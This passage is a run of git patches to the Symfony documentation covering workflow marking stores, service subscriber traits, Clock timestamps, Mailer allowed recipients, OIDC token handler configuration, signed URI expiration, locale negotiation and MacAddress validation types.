``json``:: // src/Entity/BlogPost.php namespace App\Entity; @@ -270,21 +269,19 @@ type ``json`` :: #[ORM\Column] private int $id; - // Type declaration is not mandatory and - // matches the guessed value from Doctrine - #[ORM\Column(type: Types::JSON)] // or #[ORM\Column(type: 'json')] + #[ORM\Column(type: Types::JSON)] private array $currentPlaces; // ... } -.. tip:: +.. caution:: - You should not use the type ``simple_array`` for your marking store. - Inside a multiple state marking store, places are store as keys with - a value of one, such as ``['draft' => 1]``. If the marking store contains - only one place, this Doctrine type will store its value only as a string, - resulting in the loss of the object's current place. + You should not use the type ``simple_array`` for your marking store. Inside + a multiple state marking store, places are stored as keys with a value of one, + such as ``['draft' => 1]``. If the marking store contains only one place, + this Doctrine type will store its value only as a string, resulting in the + loss of the object's current place. Accessing the Workflow in a Class --------------------------------- From f17331c882ab9cf9a870003929f58106bd0d14b0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=A9r=C3=B4me=20Tamarelle?= <jerome@tamarelle.net> Date: Tue, 9 Apr 2024 14:57:27 +0200 Subject: [PATCH 105/615] ServiceSubscriberTrait is deprecated and replaced by ServiceMethodsSubscriberTrait --- service_container/service_subscribers_locators.rst | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index 21a7ab295d2..d60b438694c 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -859,7 +859,7 @@ the following order: Service Subscriber Trait ------------------------ -The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an +The :class:`Symfony\\Contracts\\Service\\ServiceMethodsSubscriberTrait` provides an implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface` that looks through all methods in your class that are marked with the :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It @@ -873,12 +873,12 @@ services based on type-hinted helper methods:: use Psr\Log\LoggerInterface; use Symfony\Component\Routing\RouterInterface; use Symfony\Contracts\Service\Attribute\SubscribedService; + use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; use Symfony\Contracts\Service\ServiceSubscriberInterface; - use Symfony\Contracts\Service\ServiceSubscriberTrait; class MyService implements ServiceSubscriberInterface { - use ServiceSubscriberTrait; + use ServiceMethodsSubscriberTrait; public function doSomething(): void { @@ -935,12 +935,12 @@ and compose your services with them:: // src/Service/MyService.php namespace App\Service; + use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; use Symfony\Contracts\Service\ServiceSubscriberInterface; - use Symfony\Contracts\Service\ServiceSubscriberTrait; class MyService implements ServiceSubscriberInterface { - use ServiceSubscriberTrait, LoggerAware, RouterAware; + use ServiceMethodsSubscriberTrait, LoggerAware, RouterAware; public function doSomething(): void { @@ -977,12 +977,12 @@ Here's an example:: use Symfony\Component\DependencyInjection\Attribute\Target; use Symfony\Component\Routing\RouterInterface; use Symfony\Contracts\Service\Attribute\SubscribedService; + use Symfony\Contracts\Service\ServiceMethodsSubscriberTrait; use Symfony\Contracts\Service\ServiceSubscriberInterface; - use Symfony\Contracts\Service\ServiceSubscriberTrait; class MyService implements ServiceSubscriberInterface { - use ServiceSubscriberTrait; + use ServiceMethodsSubscriberTrait; public function doSomething(): void { From 078d6f909bfc3e45ca119b4ed5e6d0b50079db78 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 10 Apr 2024 12:46:19 +0200 Subject: [PATCH 106/615] Added the versionadded directive --- service_container/service_subscribers_locators.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst index d60b438694c..25ebe97e7e7 100644 --- a/service_container/service_subscribers_locators.rst +++ b/service_container/service_subscribers_locators.rst @@ -899,6 +899,11 @@ services based on type-hinted helper methods:: } } +.. versionadded:: 7.1 + + The ``ServiceMethodsSubscriberTrait`` was introduced in Symfony 7.1. + In previous Symfony versions it was called ``ServiceSubscriberTrait``. + This allows you to create helper traits like RouterAware, LoggerAware, etc... and compose your services with them:: From 9bd321de567074972ce6f21cb3a92b98739e30e1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 9 Apr 2024 17:59:15 +0200 Subject: [PATCH 107/615] [Clock] Document createFromTimestamp() method --- components/clock.rst | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/components/clock.rst b/components/clock.rst index 45ec484eef5..933f7310d75 100644 --- a/components/clock.rst +++ b/components/clock.rst @@ -229,6 +229,21 @@ The constructor also allows setting a timezone or custom referenced date:: $referenceDate = new \DateTimeImmutable(); $relativeDate = new DatePoint('+1month', reference: $referenceDate); +The ``DatePoint`` class also provides a named constructor to create dates from +timestamps:: + + $dateOfFirstCommitOfSymfonyProject = DatePoint::createFromTimestamp(1129645656); + // equivalent to: + // $dateOfFirstCommitOfSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656); + + // negative timestamps (for dates before January 1, 1970) and fractional timestamps + // (for high precision sub-second datetimes) are also supported + $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940); + +.. versionadded:: 7.1 + + The ``createFromTimestamp()`` method was introduced in Symfony 7.1. + .. note:: In addition ``DatePoint`` offers stricter return types and provides consistent From e801d38f755a6073bedcb1e64d8aafcd21de9abf Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Wed, 10 Apr 2024 15:30:58 +0200 Subject: [PATCH 108/615] Minor tweak --- components/clock.rst | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/components/clock.rst b/components/clock.rst index 933f7310d75..cdbbdd56e6b 100644 --- a/components/clock.rst +++ b/components/clock.rst @@ -232,11 +232,11 @@ The constructor also allows setting a timezone or custom referenced date:: The ``DatePoint`` class also provides a named constructor to create dates from timestamps:: - $dateOfFirstCommitOfSymfonyProject = DatePoint::createFromTimestamp(1129645656); + $dateOfFirstCommitToSymfonyProject = DatePoint::createFromTimestamp(1129645656); // equivalent to: - // $dateOfFirstCommitOfSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656); + // $dateOfFirstCommitToSymfonyProject = (new \DateTimeImmutable())->setTimestamp(1129645656); - // negative timestamps (for dates before January 1, 1970) and fractional timestamps + // negative timestamps (for dates before January 1, 1970) and float timestamps // (for high precision sub-second datetimes) are also supported $dateOfFirstMoonLanding = DatePoint::createFromTimestamp(-14182940); From c7c595928951be6bb6953b40410f3adb569c38da Mon Sep 17 00:00:00 2001 From: Robin Weller <robin.weller@codm.de> Date: Thu, 11 Apr 2024 13:26:12 +0200 Subject: [PATCH 109/615] fixed argument order for UniqueEntity --- reference/constraints/UniqueEntity.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/reference/constraints/UniqueEntity.rst b/reference/constraints/UniqueEntity.rst index 0f089b2518b..5ae4b29e8ed 100644 --- a/reference/constraints/UniqueEntity.rst +++ b/reference/constraints/UniqueEntity.rst @@ -211,8 +211,8 @@ Consider this example: * @ORM\Entity * @UniqueEntity( * fields={"host", "port"}, - * errorPath="port", - * message="This port is already in use on that host." + * message="This port is already in use on that host.", + * errorPath="port" * ) */ class Service @@ -240,8 +240,8 @@ Consider this example: #[ORM\Entity] #[UniqueEntity( fields: ['host', 'port'], - errorPath: 'port', message: 'This port is already in use on that host.', + errorPath: 'port', )] class Service { @@ -259,8 +259,8 @@ Consider this example: constraints: - Symfony\Bridge\Doctrine\Validator\Constraints\UniqueEntity: fields: [host, port] - errorPath: port message: 'This port is already in use on that host.' + errorPath: port .. code-block:: xml @@ -276,8 +276,8 @@ Consider this example: <value>host</value> <value>port</value> </option> - <option name="errorPath">port</option> <option name="message">This port is already in use on that host.</option> + <option name="errorPath">port</option> </constraint> </class> @@ -300,8 +300,8 @@ Consider this example: { $metadata->addConstraint(new UniqueEntity([ 'fields' => ['host', 'port'], - 'errorPath' => 'port', 'message' => 'This port is already in use on that host.', + 'errorPath' => 'port', ])); } } From f9c53b97e032e7c78c6f02d5e333d1b2702bbb35 Mon Sep 17 00:00:00 2001 From: Alexandre Daubois <alex.daubois@gmail.com> Date: Thu, 11 Apr 2024 11:18:33 +0200 Subject: [PATCH 110/615] [Mailer] Add the `allowed_recipients` option --- mailer.rst | 69 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 69 insertions(+) diff --git a/mailer.rst b/mailer.rst index f32f0ff0cfc..2ce97859b11 100644 --- a/mailer.rst +++ b/mailer.rst @@ -1852,6 +1852,75 @@ a specific address, instead of the *real* address: ; }; +You may also go even further by restricting the recipient to a specific +address, except for some specific ones. This can be done by using the +``allowed_recipients`` option: + +.. configuration-block:: + + .. code-block:: yaml + + # config/packages/mailer.yaml + when@dev: + framework: + mailer: + envelope: + recipients: ['youremail@example.com'] + allowed_recipients: + - 'interal@example.com' + # you can also use regular expression to define allowed recipients + - 'internal-.*@example.(com|fr)' + + .. code-block:: xml + + <!-- config/packages/mailer.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" + xmlns:framework="http://symfony.com/schema/dic/symfony" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd + http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd"> + + <!-- ... --> + <framework:config> + <framework:mailer> + <framework:envelope> + <framework:recipient>youremail@example.com</framework:recipient> + <framework:allowed-recipient>internal@example.com</framework:allowed-recipient> + <!-- you can also use regular expression to define allowed recipients --> + <framework:allowed-recipient>internal-.*@example.(com|fr)</framework:allowed-recipient> + </framework:envelope> + </framework:mailer> + </framework:config> + </container> + + .. code-block:: php + + // config/packages/mailer.php + use Symfony\Config\FrameworkConfig; + + return static function (FrameworkConfig $framework): void { + // ... + $framework->mailer() + ->envelope() + ->recipients(['youremail@example.com']) + ->allowedRecipients([ + 'internal@example.com', + // you can also use regular expression to define allowed recipients + 'internal-.*@example.(com|fr)', + ]) + ; + }; + +With this configuration, all emails will be sent to ``youremail@example.com``, +except for those sent to ``internal@example.com``, which will receive emails as +usual. + +.. versionadded:: 7.1 + + The ``allowed_recipients`` option was introduced in Symfony 7.1. + Write a Functional Test ~~~~~~~~~~~~~~~~~~~~~~~ From c9b92b340798d448cc118ff650325f8d03e051fa Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 11 Apr 2024 17:17:52 +0200 Subject: [PATCH 111/615] [FrameworkBundle] Update the enabled_locales description --- reference/configuration/framework.rst | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst index 25edfe52910..d9299fc4e0f 100644 --- a/reference/configuration/framework.rst +++ b/reference/configuration/framework.rst @@ -428,9 +428,11 @@ performance a bit: $framework->enabledLocales(['en', 'es']); }; -If some user makes requests with a locale not included in this option, the -application won't display any error because Symfony will display contents using -the fallback locale. +An added bonus of defining the enabled locales is that they are automatically +added as a requirement of the :ref:`special _locale parameter <routing-locale-parameter>`. +For example, if you define this value as ``['ar', 'he', 'ja', 'zh']``, the +``_locale`` routing parameter will have an ``ar|he|ja|zh`` requirement. If some +user makes requests with a locale not included in this option, they'll see an error. set_content_language_from_locale ................................ From 304e413217bbe5f3ec78218c7f203486d0eb1dd1 Mon Sep 17 00:00:00 2001 From: Mathieu Capdeville <mathieu.capdeville@sensiolabs.com> Date: Thu, 11 Apr 2024 17:25:39 +0200 Subject: [PATCH 112/615] [Workflow] Update code block according to its implementation --- workflow.rst | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/workflow.rst b/workflow.rst index 04e8eb18ef5..f3f04b3feea 100644 --- a/workflow.rst +++ b/workflow.rst @@ -864,12 +864,18 @@ the final class BlogPostMarkingStore implements MarkingStoreInterface { - public function getMarking(BlogPost $subject): Marking + /** + * @param BlogPost $subject + */ + public function getMarking(object $subject): Marking { return new Marking([$subject->getCurrentPlace() => 1]); } - public function setMarking(BlogPost $subject, Marking $marking): void + /** + * @param BlogPost $subject + */ + public function setMarking(object $subject, Marking $marking, array $context = []): void { $marking = key($marking->getPlaces()); $subject->setCurrentPlace($marking); From f79518512854c71097b15784caf4fd674a6419c7 Mon Sep 17 00:00:00 2001 From: Florent Morselli <florent.morselli@spomky-labs.com> Date: Thu, 11 Apr 2024 19:28:08 +0200 Subject: [PATCH 113/615] Update OidcTokenHandler dependencies and configuration This commit replaces the individual jwt packages previously needed by 'OidcTokenHandler' with the `web-token/jwt-library`. Configuration changes have been made to support multiple signing algorithms and a keyset instead of a single key. These changes provide more flexibility and reliability for token handling and verification. --- security/access_token.rst | 35 ++++++++++++++++++----------------- 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/security/access_token.rst b/security/access_token.rst index 5057e243c25..593c6404c7a 100644 --- a/security/access_token.rst +++ b/security/access_token.rst @@ -537,15 +537,12 @@ claims. To create your own user object from the claims, you must 2) Configure the OidcTokenHandler ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -The ``OidcTokenHandler`` requires ``web-token/jwt-signature``, -``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa`` -packages. If you haven't installed them yet, run these commands: +The ``OidcTokenHandler`` requires the package ``web-token/jwt-library``. +If you haven't installed it yet, run this command: .. code-block:: terminal - $ composer require web-token/jwt-signature - $ composer require web-token/jwt-checker - $ composer require web-token/jwt-signature-algorithm-ecdsa + $ composer require web-token/jwt-library Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate it and retrieve the user info from it: @@ -561,10 +558,10 @@ it and retrieve the user info from it: access_token: token_handler: oidc: - # Algorithm used to sign the JWS - algorithm: 'ES256' + # Algorithms used to sign the JWS + algorithms: ['ES256', 'RS256'] # A JSON-encoded JWK - key: '{"kty":"...","k":"..."}' + keyset: '{"keys":[{"kty":"...","k":"..."}]}' # Audience (`aud` claim): required for validation purpose audience: 'api-example' # Issuers (`iss` claim): required for validation purpose @@ -589,8 +586,10 @@ it and retrieve the user info from it: <!-- Algorithm used to sign the JWS --> <!-- A JSON-encoded JWK --> <!-- Audience (`aud` claim): required for validation purpose --> - <oidc algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example"> + <oidc keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example"> <!-- Issuers (`iss` claim): required for validation purpose --> + <algorithm>ES256</algorithm> + <algorithm>RS256</algorithm> <issuer>https://oidc.example.com</issuer> </oidc> </token-handler> @@ -610,9 +609,9 @@ it and retrieve the user info from it: ->tokenHandler() ->oidc() // Algorithm used to sign the JWS - ->algorithm('ES256') + ->algorithms(['ES256', 'RS256']) // A JSON-encoded JWK - ->key('{"kty":"...","k":"..."}') + ->keyset('{"keys":[{"kty":"...","k":"..."}]}') // Audience (`aud` claim): required for validation purpose ->audience('api-example') // Issuers (`iss` claim): required for validation purpose @@ -636,8 +635,8 @@ configuration: token_handler: oidc: claim: email - algorithm: 'ES256' - key: '{"kty":"...","k":"..."}' + algorithms: ['ES256', 'RS256'] + keyset: '{"keys":[{"kty":"...","k":"..."}]}' audience: 'api-example' issuers: ['https://oidc.example.com'] @@ -657,7 +656,9 @@ configuration: <firewall name="main"> <access-token> <token-handler> - <oidc claim="email" algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example"> + <oidc claim="email" keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example"> + <algorithm>ES256</algorithm> + <algorithm>RS256</algorithm> <issuer>https://oidc.example.com</issuer> </oidc> </token-handler> @@ -677,8 +678,8 @@ configuration: ->tokenHandler() ->oidc() ->claim('email') - ->algorithm('ES256') - ->key('{"kty":"...","k":"..."}') + ->algorithms(['ES256', 'RS256']) + ->keyset('{"keys":[{"kty":"...","k":"..."}]}') ->audience('api-example') ->issuers(['https://oidc.example.com']) ; From 7de0684b22c26bd4494eba8daa64eb4f097cfeef Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Apr 2024 08:57:34 +0200 Subject: [PATCH 114/615] Minor reword --- mailer.rst | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/mailer.rst b/mailer.rst index 2ce97859b11..643702bdee1 100644 --- a/mailer.rst +++ b/mailer.rst @@ -1852,9 +1852,9 @@ a specific address, instead of the *real* address: ; }; -You may also go even further by restricting the recipient to a specific -address, except for some specific ones. This can be done by using the -``allowed_recipients`` option: +Use the ``allowed_recipients`` option to specify exceptions to the behavior defined +in the ``recipients`` option; allowing emails directed to these specific recipients +to maintain their original destination: .. configuration-block:: @@ -1867,7 +1867,7 @@ address, except for some specific ones. This can be done by using the envelope: recipients: ['youremail@example.com'] allowed_recipients: - - 'interal@example.com' + - 'internal@example.com' # you can also use regular expression to define allowed recipients - 'internal-.*@example.(com|fr)' @@ -1914,8 +1914,8 @@ address, except for some specific ones. This can be done by using the }; With this configuration, all emails will be sent to ``youremail@example.com``, -except for those sent to ``internal@example.com``, which will receive emails as -usual. +except for those sent to ``internal@example.com``, ``internal-monitoring@example.fr``, +etc., which will receive emails as usual. .. versionadded:: 7.1 From 75162159fcc1df96ad48389d5165d0855904a62c Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 11 Apr 2024 12:43:41 +0200 Subject: [PATCH 115/615] [Twig] Expand the explanation about the humanize filter --- reference/twig_reference.rst | 15 ++++++++++++--- 1 file changed, 12 insertions(+), 3 deletions(-) diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst index 481cbd23898..1c20264352c 100644 --- a/reference/twig_reference.rst +++ b/reference/twig_reference.rst @@ -391,9 +391,18 @@ humanize ``text`` **type**: ``string`` -Makes a technical name human readable (i.e. replaces underscores by spaces -or transforms camelCase text like ``helloWorld`` to ``hello world`` -and then capitalizes the string). +Transforms the given string into a human readable string (by replacing underscores +with spaces, capitalizing the string, etc.) It's useful e.g. when displaying +the names of PHP properties/variables to end users: + +.. code-block:: twig + + {{ 'dateOfBirth'|humanize }} {# renders: Date of birth #} + {{ 'DateOfBirth'|humanize }} {# renders: Date of birth #} + {{ 'date-of-birth'|humanize }} {# renders: Date-of-birth #} + {{ 'date_of_birth'|humanize }} {# renders: Date of birth #} + {{ 'date of birth'|humanize }} {# renders: Date of birth #} + {{ 'Date Of Birth'|humanize }} {# renders: Date of birth #} .. _reference-twig-filter-trans: From 75ab793bcc1ad27b0c47f57c5f7d4f1b0cd30ec1 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Apr 2024 11:50:48 +0200 Subject: [PATCH 116/615] Minor rewords --- routing.rst | 36 +++++++++--------------------------- 1 file changed, 9 insertions(+), 27 deletions(-) diff --git a/routing.rst b/routing.rst index 0852883b9ee..790ae314516 100644 --- a/routing.rst +++ b/routing.rst @@ -2694,9 +2694,10 @@ service, which you can inject in your services or controllers:: } } -You can make the signed URI expire. To do so, you can pass a value to the `$expiration` argument -of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`. This optional argument is `null` by default. You can -specify an expiration date by several ways:: +For security reasons, it's common to make signed URIs expire after some time +(e.g. when using them to reset user credentials). By default, signed URIs don't +expire, but you can define an expiration date/time using the ``$expiration`` +argument of :phpmethod:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`:: // src/Service/SomeService.php namespace App\Service; @@ -2718,46 +2719,27 @@ specify an expiration date by several ways:: $url = 'https://example.com/foo/bar?sort=desc'; // sign the URL with an explicit expiration date - $signedUrl = $this->uriSigner->sign($url, new \DateTime('2050-01-01')); + $signedUrl = $this->uriSigner->sign($url, new \DateTimeImmutable('2050-01-01')); // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9' - // check the URL signature - $uriSignatureIsValid = $this->uriSigner->check($signedUrl); - // $uriSignatureIsValid = true - - // if given a \DateInterval, it will be added from now to get the expiration date + // if you pass a \DateInterval, it will be added from now to get the expiration date $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S')); // valid for 10 seconds from now // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9' - // check the URL signature - $uriSignatureIsValid = $this->uriSigner->check($signedUrl); - // $uriSignatureIsValid = true - - sleep(30); // wait 30 seconds... - - // the URL signature has expired - $uriSignatureIsValid = $this->uriSigner->check($signedUrl); - // $uriSignatureIsValid = false - // you can also use a timestamp in seconds $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01 // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9' - } } -.. caution:: - - `null` means no expiration for the signed URI. - .. note:: - When making the URI expire, an `_expiration` query parameter is added to the URL and the expiration date is - converted into a timestamp + The expiration date/time is included in the signed URIs as a timestamp via + the ``_expiration`` query parameter. .. versionadded:: 7.1 - The possibility to add an expiration date for a signed URI was introduced in Symfony 7.1. + The feature to add an expiration date for a signed URI was introduced in Symfony 7.1. Troubleshooting --------------- From 99df757eca6b2c80c7d7e8a5f8f7ecf1a9cfae95 Mon Sep 17 00:00:00 2001 From: Florent Morselli <florent.morselli@spomky-labs.com> Date: Thu, 11 Apr 2024 21:39:33 +0200 Subject: [PATCH 117/615] Refactor Request object documentation and redefine method logic The documentation for the Request object in the controller documentation has been updated to be more specific. The logic of the `getPreferredLanguage` method has been updated and clarified in Symfony 7.1. An additional step has been added which accounts for languages that match the locale, but exhibit a different script or region. The Response Object section has been moved for better flow and readability. --- controller.rst | 34 ++++++++++++++++++++++++++++++++-- 1 file changed, 32 insertions(+), 2 deletions(-) diff --git a/controller.rst b/controller.rst index 436326aa700..2bb6011a245 100644 --- a/controller.rst +++ b/controller.rst @@ -623,8 +623,8 @@ For example, imagine you're processing a :doc:`form </forms>` submission:: .. _request-object-info: -The Request and Response Object -------------------------------- +The Request Object +------------------ As mentioned :ref:`earlier <controller-request-argument>`, Symfony will pass the ``Request`` object to any controller argument that is type-hinted with @@ -660,6 +660,36 @@ the ``Request`` class:: The ``Request`` class has several public properties and methods that return any information you need about the request. +For example, the method ``getPreferredLanguage`` accepts an array of preferred languages and +returns the best language for the user, based on the ``Accept-Language`` header. +The locale is returned with language, script and region, if available (e.g. ``en_US``, ``fr_Latn_CH`` or ``pt``). + +Before Symfony 7.1, this method had the following logic: + +1. If no locale is set as a parameter, it returns the first language in the + ``Accept-Language`` header or ``null`` if the header is empty +2. If no ``Accept-Language`` header is set, it returns the first locale passed + as a parameter. +3. If a locale is set as a parameter and in the ``Accept-Language`` header, + it returns the first exact match. +4. Then, it returns the first language passed in the ``Accept-Language`` header or as argument. + +Starting from Symfony 7.1, the method has an additional step: + +1. If no locale is set as a parameter, it returns the first language in the + ``Accept-Language`` header or ``null`` if the header is empty +2. If no ``Accept-Language`` header is set, it returns the first locale passed + as a parameter. +3. If a locale is set as a parameter and in the ``Accept-Language`` header, + it returns the first exact match. +4. If a language matches the locale, but has a different script or region, it returns the first language in the + ``Accept-Language`` header that matches the locale's language, script or region combination + (e.g. ``fr_CA`` will match ``fr_FR``). +5. Then, it returns the first language passed in the ``Accept-Language`` header or as argument. + +The Response Object +------------------- + Like the ``Request``, the ``Response`` object has a public ``headers`` property. This object is of the type :class:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag` and provides methods for getting and setting response headers. The header names are From a2932252a8f7e051e3daa82c69490876e509433d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Apr 2024 17:22:31 +0200 Subject: [PATCH 118/615] Reword --- controller.rst | 34 ++-------------------------------- translation.rst | 19 +++++++++++++++++++ 2 files changed, 21 insertions(+), 32 deletions(-) diff --git a/controller.rst b/controller.rst index 2bb6011a245..436326aa700 100644 --- a/controller.rst +++ b/controller.rst @@ -623,8 +623,8 @@ For example, imagine you're processing a :doc:`form </forms>` submission:: .. _request-object-info: -The Request Object ------------------- +The Request and Response Object +------------------------------- As mentioned :ref:`earlier <controller-request-argument>`, Symfony will pass the ``Request`` object to any controller argument that is type-hinted with @@ -660,36 +660,6 @@ the ``Request`` class:: The ``Request`` class has several public properties and methods that return any information you need about the request. -For example, the method ``getPreferredLanguage`` accepts an array of preferred languages and -returns the best language for the user, based on the ``Accept-Language`` header. -The locale is returned with language, script and region, if available (e.g. ``en_US``, ``fr_Latn_CH`` or ``pt``). - -Before Symfony 7.1, this method had the following logic: - -1. If no locale is set as a parameter, it returns the first language in the - ``Accept-Language`` header or ``null`` if the header is empty -2. If no ``Accept-Language`` header is set, it returns the first locale passed - as a parameter. -3. If a locale is set as a parameter and in the ``Accept-Language`` header, - it returns the first exact match. -4. Then, it returns the first language passed in the ``Accept-Language`` header or as argument. - -Starting from Symfony 7.1, the method has an additional step: - -1. If no locale is set as a parameter, it returns the first language in the - ``Accept-Language`` header or ``null`` if the header is empty -2. If no ``Accept-Language`` header is set, it returns the first locale passed - as a parameter. -3. If a locale is set as a parameter and in the ``Accept-Language`` header, - it returns the first exact match. -4. If a language matches the locale, but has a different script or region, it returns the first language in the - ``Accept-Language`` header that matches the locale's language, script or region combination - (e.g. ``fr_CA`` will match ``fr_FR``). -5. Then, it returns the first language passed in the ``Accept-Language`` header or as argument. - -The Response Object -------------------- - Like the ``Request``, the ``Response`` object has a public ``headers`` property. This object is of the type :class:`Symfony\\Component\\HttpFoundation\\ResponseHeaderBag` and provides methods for getting and setting response headers. The header names are diff --git a/translation.rst b/translation.rst index c8e496b9bcf..212554a2ccf 100644 --- a/translation.rst +++ b/translation.rst @@ -981,6 +981,25 @@ the framework: This ``default_locale`` is also relevant for the translator, as shown in the next section. +Selecting the Language Preferred by the User +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If your application supports multiple languages, the first time a user visits your +site it's common to redirect them to the best possible language according to their +preferences. This is achieved with the ``getPreferredLanguage()`` method of the +:ref:`Request object <controller-request-argument>`:: + + // get the Request object somehow (e.g. as a controller argument) + $request = ... + // pass an array of the locales (their script and region parts are optional) supported + // by your application and the method returns the best locale for the current user + $locale = $request->getPreferredLanguage(['pt', 'fr_Latn_CH', 'en_US'] ); + +Symfony finds the best possible language based on the locales passed as argument +and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect +match between them, this method returns the first locale passed as argument +(that's why the order of the passed locales is important). + .. _translation-fallback: Fallback Translation Locales From d0fd14b4c4ad1bebad99d6d4594d5ef0d2af7729 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Apr 2024 17:25:03 +0200 Subject: [PATCH 119/615] Add a versionadded directive --- translation.rst | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/translation.rst b/translation.rst index 3320ce9ee37..eb16fbee1bb 100644 --- a/translation.rst +++ b/translation.rst @@ -979,8 +979,14 @@ preferences. This is achieved with the ``getPreferredLanguage()`` method of the Symfony finds the best possible language based on the locales passed as argument and the value of the ``Accept-Language`` HTTP header. If it can't find a perfect -match between them, this method returns the first locale passed as argument -(that's why the order of the passed locales is important). +match between them, Symfony will try to find a partial match based on the language +(e.g. ``fr_CA`` would match ``fr_Latn_CH`` because their language is the same). +If there's no perfect or partial match, this method returns the first locale passed +as argument (that's why the order of the passed locales is important). + +.. versionadded:: 7.1 + + The feature to match lcoales partially was introduced in Symfony 7.1. .. _translation-fallback: From 6ac1b818e7697eff318fd95ad16409dd22e78994 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 12 Apr 2024 17:45:42 +0200 Subject: [PATCH 120/615] Fix typo --- translation.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translation.rst b/translation.rst index eb16fbee1bb..891f00845cb 100644 --- a/translation.rst +++ b/translation.rst @@ -986,7 +986,7 @@ as argument (that's why the order of the passed locales is important). .. versionadded:: 7.1 - The feature to match lcoales partially was introduced in Symfony 7.1. + The feature to match locales partially was introduced in Symfony 7.1. .. _translation-fallback: From 0ed185ac3443c8718127e4dbd0ac4588112abd20 Mon Sep 17 00:00:00 2001 From: Ninos Ego <me@ninosego.de> Date: Fri, 12 Apr 2024 18:05:28 +0200 Subject: [PATCH 121/615] [Validator] Add support for types (`ALL*`, `LOCAL_*`, `UNIVERSAL_*`, `UNICAST_*`, `MULTICAST_*`, `BROADCAST`) in `MacAddress` constraint --- reference/constraints/MacAddress.rst | 29 ++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst index 8055b53ff4a..93fe8142fc4 100644 --- a/reference/constraints/MacAddress.rst +++ b/reference/constraints/MacAddress.rst @@ -103,4 +103,33 @@ Parameter Description .. include:: /reference/constraints/_payload-option.rst.inc +.. _reference-constraint-mac-address-type: + +``type`` +~~~~~~~~ + +**type**: ``string`` **default**: ``all`` + +This determines exactly *how* the MAC address is validated. This option defines a +lot of different possible values based on the type of MAC address that you want to allow/deny: + +================================ ============================================================== +Parameter Description +================================ ============================================================== +``all`` All +``all_no_broadcast`` All except broadcast +``local_all`` Only local +``local_no_broadcast`` Only local except broadcast +``local_unicast`` Only local and unicast +``local_multicast`` Only local and multicast +``local_multicast_no_broadcast`` Only local and multicast except broadcast +``universal_all`` Only universal +``universal_unicast`` Only universal and unicast +``universal_multicast`` Only universal and multicast +``unicast_all`` Only unicast +``multicast_all`` Only multicast +``multicast_no_broadcast`` Only 